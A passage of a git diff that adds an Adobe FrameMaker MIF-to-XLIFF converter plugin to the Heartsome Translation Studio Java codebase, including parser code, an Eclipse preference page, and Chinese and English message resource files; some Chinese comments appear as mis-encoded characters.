sos; + tagsos = sos; + } + if (name.equals("paraline")) { + tageos = sos - 1; + plNum--; + if (tagsos != 0 && tageos != 0 && tagsos != tageos && plNum != 0) { + // when plNum == 0 is the last ParaLine + String tag = new String(doc, tagsos, tageos - tagsos); + if (tag.trim().length() != 0) { + extraValBf.append(""); + extraValBf.append(rUtil.cleanTag(tag)); + extraValBf.append(""); + } + tagsos = 0; + tageos = 0; + } + } + + default: + break; + } + + if (sos == eos) { + if (extraValBf.length() != 0) { + outputSegmenet(extraValBf.toString(), strsos, streos, strCounter); + strsos = 0; + streos = 0; + extraValBf.delete(0, extraValBf.length()); + tagsos = 0; + tageos = 0; + strCounter = 0; + } + return; + } + ch = r.getChar(); + } + } + + private void readTable(Table tbl) throws MifParseException, IOException { + sos = tbl.getOffset(); + eos = tbl.getEndOffset(); + + int parasos = 0; + + ch = r.getCharAfterIgnore(); + while (true) { + switch (ch) { + case '<': + tempos = sos - 1; + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("para")) { + parasos = tempos; + } + break; + case '`': + getValue(); + break; + case '>': + if(doc[sos -2] == '\\'){ + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("para")) { + // end of para + int tempEos = eos; + eos = sos; + sos = parasos; + // System.out.println(new String(doc,sos,eos -sos)); + readPara(); + eos = tempEos; + } + break; + default: + break; + } + + if (sos == eos) { + return; + } + ch = r.getChar(); + } + } + + private void outputSegmenet(String segVal, int segsos, int segeos, int strNum) throws IOException { + if (segVal.trim().length() == 0) { + return; + } + Object[] ar = new Object[4]; + ar[0] = xliffIdex; + ar[1] = segsos; + ar[2] = segeos; + int segCounter = 0; + if (strNum > 1) { + String[] segVals = strSger.segment(segVal.toString()); + // int temp = xliffIdex - 1; + for (String seg : segVals) { + if (seg.trim().length() == 0) { + continue; + } + segCounter++; + // System.out.println("seg(" + ar[0] + "):" + seg); + writeXliffFile(xliffIdex++, seg); + } + } else { + // System.out.println("sge:" + extraValBf); + segCounter = 1; + // System.out.println("seg(" + ar[0] + "):" + segVal); + writeXliffFile(xliffIdex++, segVal); + } + if (segCounter != 0) { + ar[3] = segCounter; + mrbf.addBuffer(ar); + } + } + + private void writeXliffFile(int tuId, String sourceSeg) throws IOException { + xlfOs.write(" \n" + " " + sourceSeg + "\n" + " \n"); + } + + /** + * Get the text end by space + * @return + * @throws EOFException + * @throws MifParseException + */ + private String getContentEndBy(char n) throws EOFException, MifParseException { + StringBuffer bf = new StringBuffer(); + if(n == '>'){ + //need process escape character '>' represent as '\>' + char a = r.getCharAfterIgnore(); + char pre = a; + while (true) { + if(a == '>' && pre !='\\' ){ + break; + } + bf.append(a); + pre = a; + a = r.getChar(); + } + }else { + char a = r.getCharAfterIgnore(); + while (a != n) { + bf.append(a); + a = r.getChar(); + } + } + sos--; + return bf.toString(); + } + + /** + * Get current statement name + * @return + * @throws EOFException + * @throws MifParseException ; + */ + private String getStatmentName() throws EOFException, MifParseException{ + StringBuffer bf = new StringBuffer(); + char a = r.getCharAfterIgnore(); + while (true) { + if(a == ' ' || a == '\n' || a == '<' || a == '\r' || a == '\t' ){ + break; + } + bf.append(a); + a = r.getChar(); + } + sos--; + if(bf.length() == 0){ + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + return bf.toString().toLowerCase(); + } + + /** + * Get the statement value,the text in `' + * @return + * @throws MifParseException + * @throws EOFException + */ + private String getValue() throws MifParseException, EOFException { + // char n = r.getCharAfterIgnore(); + if (ch != '`') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + formatLineNumber()); + } + StringBuffer bf = new StringBuffer(); + char a = r.getChar(); + while (a != '\'') { + bf.append(a); + a = r.getChar(); + } + sos--; + return bf.toString(); + } + + private String formatLineNumber() { + return formatLineNumber(sos); + } + + private String formatLineNumber(int sos) { + int os = 0; + int lineNumber = 0; + int lineos = 0; + + while (os <= sos) { + if (doc[os] == '\n') { + lineNumber++; + lineos = os; + } + os++; + } + lineos = os - lineos; + return "\nLine Number: " + (lineNumber + 1) + " Offset: " + (lineos - 1); + } + + class MifReader { + + public MifReader() { + } + + /** + * Get next character + * @return Return the next character + * @throws MifParseException + * @throws EOFException + */ + final public char getChar() throws MifParseException, EOFException { + if (sos >= eos) { + throw eofExp; + } + char n = doc[sos++]; + if (n < 0) + throw new MifParseException(Messages.getString("mif.Mif2Xliff.characterError") + formatLineNumber()); + return n; + } + + /** + * Get the next char with ignore all \n,\t,\t and space + * @return the next none \n,\t,\t and space character + * @throws EOFException + * @throws MifParseException + */ + final public char getCharAfterIgnore() throws EOFException, MifParseException { + char n; + do { + n = getChar(); + if ((n == ' ' || n == '\n' || n == '\t' || n == '\r')) { + } else { + return n; + } + n = getChar(); + if ((n == ' ' || n == '\n' || n == '\t' || n == '\r')) { + } else { + return n; + } + } while (true); + } + + /** + * Skip the specification character + * @param ch + * character + * @return if the next character is the specification character ,then skip it and return true; if return false + * ,will do nothing + */ + final public boolean skipChar(char ch) { + if (ch == doc[sos]) { + sos++; + return true; + } else { + return false; + } + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/Constants.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/Constants.java new file mode 100644 index 0000000..302a3dc --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/Constants.java @@ -0,0 +1,16 @@ +package net.heartsome.cat.converter.mif.preference; + +/** + * 常é‡ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public final class Constants { + + /** 首选项-->Adobe FrameMarker 页é¢çš„æ示信æ¯å›¾ç‰‡ */ + public static final String PREFERENCE_FRAMEMAKER_32 = "images/preference/framemaker_32.png"; + + public static final String FRAMEMAKER_FILTER = "net.heartsome.cat.convert.ui.preference.FrameMaker"; + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/ConverterPreferenceInitializer.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/ConverterPreferenceInitializer.java new file mode 100644 index 0000000..365e3a7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/ConverterPreferenceInitializer.java @@ -0,0 +1,22 @@ +package net.heartsome.cat.converter.mif.preference; + +import net.heartsome.cat.converter.mif.Activator; + +import org.eclipse.core.runtime.preferences.AbstractPreferenceInitializer; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * 设置首选项 Adobe FrameMaker 的默认值类 + * @author peason + * @version + * @since JDK1.6 + */ +public class ConverterPreferenceInitializer extends AbstractPreferenceInitializer { + + @Override + public void initializeDefaultPreferences() { + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + store.setDefault(Constants.FRAMEMAKER_FILTER, false); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/FrameMakerPreferencePage.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/FrameMakerPreferencePage.java new file mode 100644 index 0000000..840b7df --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/preference/FrameMakerPreferencePage.java @@ -0,0 +1,79 @@ +package net.heartsome.cat.converter.mif.preference; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.converter.mif.Activator; +import net.heartsome.cat.converter.mif.resource.Messages; + +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * 首选项-->Adobe FrameMarker é¡µé¢ + * @author peason + * @version + * @since JDK1.6 + */ +public class FrameMakerPreferencePage extends PreferencePage implements IWorkbenchPreferencePage { + + private IPreferenceStore preferenceStore; + + /** æ¯ç‰ˆå†…容å¤é€‰æ¡† */ + private Button btnMaster; + + public FrameMakerPreferencePage() { + setTitle(Messages.getString("preference.FrameMakerPreferencePage.title")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + @Override + protected Control createContents(Composite parent) { + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group groupCommon = new Group(tparent, SWT.NONE); + groupCommon.setLayout(new GridLayout()); + groupCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + groupCommon.setText(Messages.getString("preference.FrameMakerPreferencePage.groupCommon")); + + HsImageLabel imageLabel = new HsImageLabel( + Messages.getString("preference.FrameMakerPreferencePage.imageLabel"), + Activator.getImageDescriptor(Constants.PREFERENCE_FRAMEMAKER_32)); + Composite cmpCommon = imageLabel.createControl(groupCommon); + cmpCommon.setLayout(new GridLayout()); + cmpCommon.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnMaster = new Button(cmpCommon, SWT.CHECK); + btnMaster.setText(Messages.getString("preference.FrameMakerPreferencePage.btnMaster")); + GridDataFactory.fillDefaults().applyTo(btnMaster); + + imageLabel.computeSize(); + btnMaster.setSelection(preferenceStore.getBoolean(Constants.FRAMEMAKER_FILTER)); + return parent; + } + + public void init(IWorkbench workbench) { + + } + + @Override + protected void performDefaults() { + btnMaster.setSelection(preferenceStore.getDefaultBoolean(Constants.FRAMEMAKER_FILTER)); + } + + @Override + public boolean performOk() { + preferenceStore.setValue(Constants.FRAMEMAKER_FILTER, btnMaster.getSelection()); + return true; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/Messages.java new file mode 100644 index 0000000..0555b50 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.mif.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.mif.resource.mif"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif.properties b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif.properties new file mode 100644 index 0000000..9326668 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif.properties @@ -0,0 +1,43 @@ +mif.Mif2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +mif.Mif2Xliff.task2 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6... +mif.Mif2Xliff.task3 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +mif.Mif2Xliff.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... + +mif.Mif2Xliff.msg1 = \u65e0\u6cd5\u627e\u5230\u8f6c\u6362 MIF \u6587\u4ef6\u6240\u9700\u7684 INI \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +mif.Mif2Xliff.msg2 = MIF \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +mif.Mif2Xliff.error1 = \u8bfb\u53d6 MIF \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u786e\u8ba4\u8be5 MIF \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bfb\u53d6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.error2 = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6 MIF \u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u4e3a\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.error3 = \u8be5\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +mif.Mif2Xliff.linenumber = \u884c\uff1a +mif.Mif2Xliff.column = \u5217\uff1a +mif.Mif2Xliff.mismatchStartOrEndTag = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u8bed\u53e5\u5f00\u59cb\u6216\u7ed3\u675f\u6807\u8bb0\u4e0d\u5339\u914d\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.fileNotStartProperly = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u6587\u4ef6\u672a\u6b63\u786e\u5f00\u59cb\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.unsuportVersion = \u8be5\u7248\u672c\uff08{0}\uff09\u7684 MIF \u6587\u4ef6\u4e0d\u53d7\u652f\u6301\u3002\u8bf7\u9009\u62e9\u7531 FrameMaker 7-10 \u7248\u672c\u7a0b\u5e8f\u4fdd\u5b58\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.invalidateVersionInfo = \u65e0\u6cd5\u8bc6\u522b MIF \u6587\u4ef6\u7684\u7248\u672c\u4fe1\u606f\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u5c1d\u8bd5\u4f7f\u7528 FrameMaker 7-10 \u7248\u672c\u7a0b\u5e8f\u6253\u5f00\u8be5 MIF \u6587\u4ef6\u5e76\u53e6\u5b58\uff0c\u7136\u540e\u8f6c\u6362\u65b0\u7684 MIF \u6587\u4ef6\u3002 +mif.Mif2Xliff.fileEndError = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u6587\u4ef6\u5f02\u5e38\u7ed3\u675f\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.invalidateDataDescribingOfObject = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u5bfc\u5165\u5bf9\u8c61\u8bed\u53e5\u9519\u8bef\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.statementError = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u8bed\u53e5\u9519\u8bef\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.characterError = \u65e0\u6cd5\u8bc6\u522b MIF \u6587\u4ef6\u7684\u5185\u5bb9\u3002\u8bf7\u68c0\u67e5\u6307\u5b9a\u7684\u7f16\u7801\u662f\u5426\u4e0e\u6587\u4ef6\u7684\u5b9e\u9645\u7f16\u7801\u4e00\u81f4\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.changeBarError = \u8be5 MIF \u6587\u4ef6\u4e2d\u5305\u542b\u4e86 Automatic Change Bars \u4fee\u8ba2\u4fe1\u606f\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\n\u8bf7\u4f7f\u7528 FrameMaker 7-10 \u6253\u5f00\u8be5\u6587\u4ef6\uff0c\u5173\u95ed Automatic Change Bars\u3001\u5e76\u63a5\u53d7\u6216\u62d2\u7edd\u4ee5\u6e05\u9664\u6240\u6709\u4fee\u8ba2\u4fe1\u606f\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.noFrameFind = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u65e0\u6cd5\u627e\u5230 Anchor Frame \u4fe1\u606f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.noTableFind = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u65e0\u6cd5\u627e\u5230 Table \u7684\u5b9a\u4e49\u4fe1\u606f\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +mif.Xliff2Mif.task1 = \u6b63\u5728\u8f6c\u6362... +mif.Xliff2Mif.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +mif.Xliff2Mif.task3 = \u6b63\u5728\u52a0\u8f7d INI \u6587\u4ef6... +mif.Xliff2Mif.task4 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +mif.Xliff2Mif.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +mif.Xliff2Mif.msg2 = XLIFF \u8f6c\u6362 MIF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +mif.TYPE_NAME_VALUE = Adobe FrameMaker \u4ea4\u6362\u683c\u5f0f (MIF) +mif.mif2xliff.msg3 = \u8bfb\u53d6\u5206\u6bb5\u89c4\u5219 SRX \u6587\u4ef6\u65f6\u51fa\u9519\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preference.FrameMakerPreferencePage.title = Adobe FrameMaker +preference.FrameMakerPreferencePage.groupCommon = \u8f6c\u6362\u9009\u9879 +preference.FrameMakerPreferencePage.imageLabel = \u8f6c\u6362 Adobe FrameMaker \u4ea4\u6362\u683c\u5f0f (MIF) \u6587\u4ef6\u65f6\uff0c\u6392\u9664\u5982\u4e0b\u7c7b\u578b\u7684\u53ef\u7ffb\u8bd1\u6587\u672c\uff1a +preference.FrameMakerPreferencePage.btnMaster = \u6bcd\u7248 +preference.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif_en.properties b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif_en.properties new file mode 100644 index 0000000..459eb99 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif_en.properties @@ -0,0 +1,43 @@ +mif.Mif2Xliff.task1 = Converting... +mif.Mif2Xliff.task2 = Parsing files... +mif.Mif2Xliff.task3 = Generating XLIFF files... +mif.Mif2Xliff.task4 = Generating skeleton files... + +mif.Mif2Xliff.msg1 = Unable to find the INI file for conversion of the MIF file. Please reinstall Heartsome Translation Studio and try again. +mif.Mif2Xliff.msg2 = Failed to convert MIF to XLIFF. Please try again. + +mif.Mif2Xliff.error1 = Conversion failed: An error occurred when reading the MIF file. Please ensure that the MIF file is readable and try again. +mif.Mif2Xliff.error2 = Conversion failed: unable to read the MIF file. Please ensure that the MIF file is valid and try again. +mif.Mif2Xliff.error3 = The conversion failed because the MIF file is invalid. Please select a valid MIF file and try again. + +mif.Mif2Xliff.linenumber = Row: +mif.Mif2Xliff.column = Column: +mif.Mif2Xliff.mismatchStartOrEndTag = Errors found in the MIF file: End tag does not match start tag. Please repair the MIF file and try again. +mif.Mif2Xliff.fileNotStartProperly = Errors found in the MIF file: File header information is invalid. Please repair the MIF file and try again. +mif.Mif2Xliff.unsuportVersion = This version ({0}) is not supported. Please select the MIF file created by FrameMaker 7-10 and try again. +mif.Mif2Xliff.invalidateVersionInfo = Conversion failed because it is unable to recognize the version information of the MIF file. Please open the MIF file with FrameMaker 7-10 and save it, then convert this newly-saved MIF file. +mif.Mif2Xliff.fileEndError = Errors found in the MIF file: Elements are not properly closed in the file. Please repair the MIF file and try again. +mif.Mif2Xliff.invalidateDataDescribingOfObject = Errors found in the MIF file: The import statement is incorrect. Please repair the MIF file and try again. +mif.Mif2Xliff.statementError = Errors found in the MIF file: Incorrect statements. Please repair the MIF file and try again. +mif.Mif2Xliff.characterError = Unable to recognize the MIF file. Please double-check your encoding selection and try again. +mif.Mif2Xliff.changeBarError = Unable to convert the MIF file because it contains automatic change bar information.\nPlease open the file with FrameMaker 7-10, turn off automatic change bars, accept or reject all the comments to clear them, and try the conversion again. +mif.Mif2Xliff.noFrameFind = Errors found in the MIF file: Errors found in the MIF file: Please select a valid MIF file and try again. +mif.Mif2Xliff.noTableFind = Errors found in the MIF file: Unable to find the table definition. Please select a valid MIF file and try again. + +mif.Xliff2Mif.task1 = Converting... +mif.Xliff2Mif.task2 = Loading XLIFF files... +mif.Xliff2Mif.task3 = Loading INI files... +mif.Xliff2Mif.task4 = Replacing segment identifiers in the skeleton file... +mif.Xliff2Mif.msg1 = Can't find segment {0}. The XLIFF file might be demaged. please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +mif.Xliff2Mif.msg2 = Failed to convert XLIFF to MIF file. Please try again. + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +mif.TYPE_NAME_VALUE = Adobe FrameMaker Interchange Format (MIF) +mif.mif2xliff.msg3 = An error occured when reading the SRX file. Please reinstall Heartsome Translation Studio and try again. + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preference.FrameMakerPreferencePage.title = Adobe FrameMaker +preference.FrameMakerPreferencePage.groupCommon = Conversion Options +preference.FrameMakerPreferencePage.imageLabel = When converting Adobe FrameMaker Interchange (MIF) files, the following translatable text is excluded: +preference.FrameMakerPreferencePage.btnMaster = Master +preference.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif_zh.properties b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif_zh.properties new file mode 100644 index 0000000..e9dc831 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/resource/mif_zh.properties @@ -0,0 +1,43 @@ +mif.Mif2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +mif.Mif2Xliff.task2 = \u6b63\u5728\u89e3\u6790\u6587\u4ef6... +mif.Mif2Xliff.task3 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +mif.Mif2Xliff.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... + +mif.Mif2Xliff.msg1 = \u65e0\u6cd5\u627e\u5230\u8f6c\u6362 MIF \u6587\u4ef6\u6240\u9700\u7684 INI \u6587\u4ef6\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u540e\u91cd\u8bd5\u3002 +mif.Mif2Xliff.msg2 = MIF \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +mif.Mif2Xliff.error1 = \u8bfb\u53d6 MIF \u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u786e\u8ba4\u8be5 MIF \u6587\u4ef6\u53ef\u88ab\u6b63\u5e38\u8bfb\u53d6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.error2 = \u65e0\u6cd5\u6b63\u786e\u8bfb\u53d6 MIF \u6587\u4ef6\u4e2d\u7684\u5185\u5bb9\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u4e3a\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.error3 = \u8be5\u6587\u4ef6\u4e0d\u662f\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +mif.Mif2Xliff.linenumber = \u884c\uff1a +mif.Mif2Xliff.column = \u5217\uff1a +mif.Mif2Xliff.mismatchStartOrEndTag = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u8bed\u53e5\u5f00\u59cb\u6216\u7ed3\u675f\u6807\u8bb0\u4e0d\u5339\u914d\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.fileNotStartProperly = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u6587\u4ef6\u672a\u6b63\u786e\u5f00\u59cb\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.unsuportVersion = \u8be5\u7248\u672c\uff08{0}\uff09\u7684 MIF \u6587\u4ef6\u4e0d\u53d7\u652f\u6301\u3002\u8bf7\u9009\u62e9\u7531 FrameMaker 7-10 \u7248\u672c\u7a0b\u5e8f\u4fdd\u5b58\u7684 MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.invalidateVersionInfo = \u65e0\u6cd5\u8bc6\u522b MIF \u6587\u4ef6\u7684\u7248\u672c\u4fe1\u606f\uff0c\u65e0\u6cd5\u8f6c\u6362\u3002\u8bf7\u5c1d\u8bd5\u4f7f\u7528 FrameMaker 7-10 \u7248\u672c\u7a0b\u5e8f\u6253\u5f00\u8be5 MIF \u6587\u4ef6\u5e76\u53e6\u5b58\uff0c\u7136\u540e\u8f6c\u6362\u65b0\u7684 MIF \u6587\u4ef6\u3002 +mif.Mif2Xliff.fileEndError = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u6587\u4ef6\u5f02\u5e38\u7ed3\u675f\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.invalidateDataDescribingOfObject = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u5bfc\u5165\u5bf9\u8c61\u8bed\u53e5\u9519\u8bef\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.statementError = MIF \u6587\u4ef6\u5185\u5bb9\u9519\u8bef\uff1a\u8bed\u53e5\u9519\u8bef\u3002\u8bf7\u5148\u4fee\u590d MIF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +mif.Mif2Xliff.characterError = 